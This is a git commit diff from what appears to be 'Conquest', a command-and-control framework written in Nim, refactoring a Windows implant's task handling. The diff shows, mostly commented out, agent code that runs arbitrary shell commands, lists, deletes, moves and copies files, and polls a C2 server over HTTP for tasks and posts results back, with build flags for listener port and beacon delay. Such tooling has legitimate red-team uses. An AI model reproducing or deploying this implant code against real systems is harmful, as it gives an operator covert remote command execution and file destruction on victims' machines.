Started rewriting JSON task to custom binary structure. Parsed and serialized task object into seq[byte]
This commit is contained in:
Jakob Friedl
@@ -1,3 +1,3 @@
|
||||
import ./[shell, sleep, filesystem]
|
||||
# import ./[shell, sleep, filesystem]
|
||||
|
||||
export shell, sleep, filesystem
|
||||
# export shell, sleep, filesystem
|
||||
@@ -1,332 +1,332 @@
|
||||
import os, strutils, strformat, base64, winim, times, algorithm, json
|
||||
# import os, strutils, strformat, base64, winim, times, algorithm, json
|
||||
|
||||
import ../types
|
||||
# import ../common/types
|
||||
|
||||
# Retrieve current working directory
|
||||
proc taskPwd*(task: Task): TaskResult =
|
||||
# # Retrieve current working directory
|
||||
# proc taskPwd*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Retrieving current working directory."
|
||||
# echo fmt"Retrieving current working directory."
|
||||
|
||||
try:
|
||||
# try:
|
||||
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Change working directory
|
||||
proc taskCd*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
proc taskDir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
var targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Listing files and directories."
|
||||
|
||||
try:
|
||||
# Check if users wants to list files in the current working directory or at another path
|
||||
|
||||
if targetDirectory == "":
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
cwdBuffer = newWString(MAX_PATH + 1)
|
||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
if cwdLength == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
# Prepare search pattern (target directory + \*)
|
||||
let searchPattern = targetDirectory & "\\*"
|
||||
let searchPatternW = newWString(searchPattern)
|
||||
|
||||
var
|
||||
findData: WIN32_FIND_DATAW
|
||||
hFind: HANDLE
|
||||
output = ""
|
||||
entries: seq[string] = @[]
|
||||
totalFiles = 0
|
||||
totalDirs = 0
|
||||
|
||||
# Find files and directories in target directory
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
output = fmt"Directory: {targetDirectory}" & "\n\n"
|
||||
output &= "Mode LastWriteTime Length Name" & "\n"
|
||||
output &= "---- ------------- ------ ----" & "\n"
|
||||
|
||||
# Process all files and directories
|
||||
while true:
|
||||
let fileName = $cast[WideCString](addr findData.cFileName[0])
|
||||
|
||||
# Skip current and parent directory entries
|
||||
if fileName != "." and fileName != "..":
|
||||
# Get file attributes and size
|
||||
let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
|
||||
let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
|
||||
let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
|
||||
let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
|
||||
let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
|
||||
|
||||
# Handle flags
|
||||
var mode = ""
|
||||
if isDir:
|
||||
mode = "d"
|
||||
inc totalDirs
|
||||
else:
|
||||
mode = "-"
|
||||
inc totalFiles
|
||||
|
||||
if isArchive:
|
||||
mode &= "a"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if isReadOnly:
|
||||
mode &= "r"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if isHidden:
|
||||
mode &= "h"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
|
||||
mode &= "s"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
# Convert FILETIME to local time and format
|
||||
var
|
||||
localTime: FILETIME
|
||||
systemTime: SYSTEMTIME
|
||||
dateTimeStr = "01/01/1970 00:00:00"
|
||||
|
||||
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# Format date and time in PowerShell style
|
||||
dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
|
||||
|
||||
# Format file size
|
||||
var sizeStr = ""
|
||||
if isDir:
|
||||
sizeStr = "<DIR>"
|
||||
else:
|
||||
sizeStr = ($fileSize).replace("-", "")
|
||||
|
||||
# Build the entry line
|
||||
let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
|
||||
entries.add(entryLine)
|
||||
|
||||
# Find next file
|
||||
if FindNextFileW(hFind, &findData) == 0:
|
||||
break
|
||||
|
||||
# Close find handle
|
||||
discard FindClose(hFind)
|
||||
|
||||
# Add entries to output after sorting them (directories first, files afterwards)
|
||||
entries.sort do (a, b: string) -> int:
|
||||
let aIsDir = a[0] == 'd'
|
||||
let bIsDir = b[0] == 'd'
|
||||
|
||||
if aIsDir and not bIsDir:
|
||||
return -1
|
||||
elif not aIsDir and bIsDir:
|
||||
return 1
|
||||
else:
|
||||
# Extract filename for comparison (last part after the last space)
|
||||
let aParts = a.split(" ")
|
||||
let bParts = b.split(" ")
|
||||
let aName = aParts[^1]
|
||||
let bName = bParts[^1]
|
||||
return cmp(aName.toLowerAscii(), bName.toLowerAscii())
|
||||
|
||||
for entry in entries:
|
||||
output &= entry & "\n"
|
||||
|
||||
# Add summary of how many files/directories have been found
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Remove file
|
||||
proc taskRm*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["file"].getStr()
|
||||
|
||||
echo fmt"Deleting file {target}."
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Remove directory
|
||||
proc taskRmdir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Deleting directory {target}."
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Move file or directory
|
||||
proc taskMove*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
echo task.args
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Copy file or directory
|
||||
proc taskCopy*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# let
|
||||
# buffer = newWString(MAX_PATH + 1)
|
||||
# length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
# if length == 0:
|
||||
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # Change working directory
|
||||
# proc taskCd*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# let targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
# echo fmt"Changing current working directory to {targetDirectory}."
|
||||
|
||||
# try:
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # List files and directories at a specific or at the current path
|
||||
# proc taskDir*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# var targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
# echo fmt"Listing files and directories."
|
||||
|
||||
# try:
|
||||
# # Check if users wants to list files in the current working directory or at another path
|
||||
|
||||
# if targetDirectory == "":
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# let
|
||||
# cwdBuffer = newWString(MAX_PATH + 1)
|
||||
# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
# if cwdLength == 0:
|
||||
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
# # Prepare search pattern (target directory + \*)
|
||||
# let searchPattern = targetDirectory & "\\*"
|
||||
# let searchPatternW = newWString(searchPattern)
|
||||
|
||||
# var
|
||||
# findData: WIN32_FIND_DATAW
|
||||
# hFind: HANDLE
|
||||
# output = ""
|
||||
# entries: seq[string] = @[]
|
||||
# totalFiles = 0
|
||||
# totalDirs = 0
|
||||
|
||||
# # Find files and directories in target directory
|
||||
# hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
# if hFind == INVALID_HANDLE_VALUE:
|
||||
# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
|
||||
# # Directory was found and can be listed
|
||||
# else:
|
||||
# output = fmt"Directory: {targetDirectory}" & "\n\n"
|
||||
# output &= "Mode LastWriteTime Length Name" & "\n"
|
||||
# output &= "---- ------------- ------ ----" & "\n"
|
||||
|
||||
# # Process all files and directories
|
||||
# while true:
|
||||
# let fileName = $cast[WideCString](addr findData.cFileName[0])
|
||||
|
||||
# # Skip current and parent directory entries
|
||||
# if fileName != "." and fileName != "..":
|
||||
# # Get file attributes and size
|
||||
# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
|
||||
# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
|
||||
# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
|
||||
# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
|
||||
# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
|
||||
|
||||
# # Handle flags
|
||||
# var mode = ""
|
||||
# if isDir:
|
||||
# mode = "d"
|
||||
# inc totalDirs
|
||||
# else:
|
||||
# mode = "-"
|
||||
# inc totalFiles
|
||||
|
||||
# if isArchive:
|
||||
# mode &= "a"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
# if isReadOnly:
|
||||
# mode &= "r"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
# if isHidden:
|
||||
# mode &= "h"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
|
||||
# mode &= "s"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
# # Convert FILETIME to local time and format
|
||||
# var
|
||||
# localTime: FILETIME
|
||||
# systemTime: SYSTEMTIME
|
||||
# dateTimeStr = "01/01/1970 00:00:00"
|
||||
|
||||
# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# # Format date and time in PowerShell style
|
||||
# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
|
||||
|
||||
# # Format file size
|
||||
# var sizeStr = ""
|
||||
# if isDir:
|
||||
# sizeStr = "<DIR>"
|
||||
# else:
|
||||
# sizeStr = ($fileSize).replace("-", "")
|
||||
|
||||
# # Build the entry line
|
||||
# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
|
||||
# entries.add(entryLine)
|
||||
|
||||
# # Find next file
|
||||
# if FindNextFileW(hFind, &findData) == 0:
|
||||
# break
|
||||
|
||||
# # Close find handle
|
||||
# discard FindClose(hFind)
|
||||
|
||||
# # Add entries to output after sorting them (directories first, files afterwards)
|
||||
# entries.sort do (a, b: string) -> int:
|
||||
# let aIsDir = a[0] == 'd'
|
||||
# let bIsDir = b[0] == 'd'
|
||||
|
||||
# if aIsDir and not bIsDir:
|
||||
# return -1
|
||||
# elif not aIsDir and bIsDir:
|
||||
# return 1
|
||||
# else:
|
||||
# # Extract filename for comparison (last part after the last space)
|
||||
# let aParts = a.split(" ")
|
||||
# let bParts = b.split(" ")
|
||||
# let aName = aParts[^1]
|
||||
# let bName = bParts[^1]
|
||||
# return cmp(aName.toLowerAscii(), bName.toLowerAscii())
|
||||
|
||||
# for entry in entries:
|
||||
# output &= entry & "\n"
|
||||
|
||||
# # Add summary of how many files/directories have been found
|
||||
# output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
# output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # Remove file
|
||||
# proc taskRm*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# let target = parseJson(task.args)["file"].getStr()
|
||||
|
||||
# echo fmt"Deleting file {target}."
|
||||
|
||||
# try:
|
||||
# if DeleteFile(target) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # Remove directory
|
||||
# proc taskRmdir*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# let target = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
# echo fmt"Deleting directory {target}."
|
||||
|
||||
# try:
|
||||
# if RemoveDirectoryA(target) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # Move file or directory
|
||||
# proc taskMove*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# echo task.args
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# lpExistingFileName = params["from"].getStr()
|
||||
# lpNewFileName = params["to"].getStr()
|
||||
|
||||
# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
# try:
|
||||
# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# # Copy file or directory
|
||||
# proc taskCopy*(task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# lpExistingFileName = params["from"].getStr()
|
||||
# lpNewFileName = params["to"].getStr()
|
||||
|
||||
# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
# try:
|
||||
# # Copy file to new location, overwrite if a file with the same name already exists
|
||||
# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
@@ -1,30 +1,30 @@
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
import ../common/types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments JSON string to obtain specific values
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
command = params["command"].getStr()
|
||||
arguments = params["arguments"].getStr()
|
||||
# # Parse arguments JSON string to obtain specific values
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# command = params["command"].getStr()
|
||||
# arguments = params["arguments"].getStr()
|
||||
|
||||
echo fmt"Executing command {command} with arguments {arguments}"
|
||||
# echo fmt"Executing command {command} with arguments {arguments}"
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
# try:
|
||||
# let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
import os, strutils, strformat, base64, json
|
||||
# import os, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
# import ../common/types
|
||||
|
||||
proc taskSleep*(task: Task): TaskResult =
|
||||
# proc taskSleep*(task: Task): TaskResult =
|
||||
|
||||
# Parse task parameter
|
||||
let delay = parseJson(task.args)["delay"].getInt()
|
||||
# # Parse task parameter
|
||||
# let delay = parseJson(task.args)["delay"].getInt()
|
||||
|
||||
echo fmt"Sleeping for {delay} seconds."
|
||||
# echo fmt"Sleeping for {delay} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# try:
|
||||
# sleep(delay * 1000)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
@@ -34,41 +34,41 @@ proc register*(config: AgentConfig): string =
|
||||
|
||||
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
var responseBody = ""
|
||||
# let client = newAsyncHttpClient()
|
||||
# var responseBody = ""
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
return parseJson(responseBody).to(seq[Task])
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
# return parseJson(responseBody).to(seq[Task])
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: ", responseBody
|
||||
finally:
|
||||
client.close()
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [getTasks]: ", responseBody
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
# let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
# # Define headers
|
||||
# client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %taskResult
|
||||
# let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
# echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [postResults]: ", err.msg
|
||||
# return false
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return true
|
||||
@@ -5,4 +5,4 @@
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=9999
|
||||
-d:SleepDelay=10
|
||||
-d:SleepDelay=1
|
||||
|
||||
@@ -1,34 +1,35 @@
|
||||
import strutils, tables, json
|
||||
import ./types
|
||||
import ./common/types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
var taskResult: TaskResult
|
||||
|
||||
let handlers = {
|
||||
ExecuteShell: taskShell,
|
||||
Sleep: taskSleep,
|
||||
GetWorkingDirectory: taskPwd,
|
||||
SetWorkingDirectory: taskCd,
|
||||
ListDirectory: taskDir,
|
||||
RemoveFile: taskRm,
|
||||
RemoveDirectory: taskRmdir,
|
||||
Move: taskMove,
|
||||
Copy: taskCopy
|
||||
}.toTable
|
||||
# let handlers = {
|
||||
# CMD_SLEEP: taskSleep,
|
||||
# CMD_SHELL: taskShell,
|
||||
# CMD_PWD: taskPwd,
|
||||
# CMD_CD: taskCd,
|
||||
# CMD_LS: taskDir,
|
||||
# CMD_RM: taskRm,
|
||||
# CMD_RMDIR: taskRmdir,
|
||||
# CMD_MOVE: taskMove,
|
||||
# CMD_COPY: taskCopy
|
||||
# }.toTable
|
||||
|
||||
# Handle task command
|
||||
taskResult = handlers[task.command](task)
|
||||
echo taskResult.data
|
||||
# taskResult = handlers[task.command](task)
|
||||
# echo taskResult.data
|
||||
|
||||
# Handle actions on specific commands
|
||||
case task.command:
|
||||
of Sleep:
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
else:
|
||||
discard
|
||||
# case task.command:
|
||||
# of CMD_SLEEP:
|
||||
# if taskResult.status == STATUS_COMPLETED:
|
||||
# # config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
# discard
|
||||
# else:
|
||||
# discard
|
||||
|
||||
# Return the result
|
||||
return taskResult
|
||||
# # Return the result
|
||||
# return taskResult
|
||||
@@ -1,6 +1,6 @@
|
||||
import winim
|
||||
import ../../types
|
||||
export Task, CommandType, TaskResult, TaskStatus
|
||||
import ../../common/types
|
||||
export Task, CommandType, TaskResult, StatusType
|
||||
|
||||
type
|
||||
ProductType* = enum
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import strformat
|
||||
import ./types
|
||||
import ./common/types
|
||||
|
||||
